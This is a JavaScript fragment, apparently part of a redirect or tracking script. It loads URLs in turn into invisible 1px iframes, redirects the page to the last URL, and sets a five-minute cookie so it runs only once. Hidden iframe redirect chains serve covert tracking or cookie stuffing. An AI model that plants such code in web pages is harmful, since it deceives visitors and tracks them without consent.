t.js

        function redirectDefault(url, urls) {
          var iframe = document.createElement("iframe");

          iframe.style.border = "none";
          iframe.style.width = "1px";
          iframe.style.height = "1px";

          iframe.onload = function() {
            redirect(redirectDefault, urls);
          };
          iframe.src = url;

          // If we're still loading the document, wait before doing this
          ensureLoadedThen(function() {
            document.body.appendChild(iframe);
          });
        }

        function redirectWeb() {
          window.location = urls[urls.length - 1];
        }

        if (!checkAlreadyInvoked()) {
          invoke();
        }


function checkAlreadyInvoked() {
  var invokedCookie = "fb45d8cf63156e060cd952e5a2576f41" + "_invoked";

  if (document.cookie.indexOf(invokedCookie + "=") !== -1) {
    return true;
  } else {
    document.cookie = invokedCookie + "=true; expires=" + new Date(Date.now() + 300000).toGMTString();
    return false;
  }          
}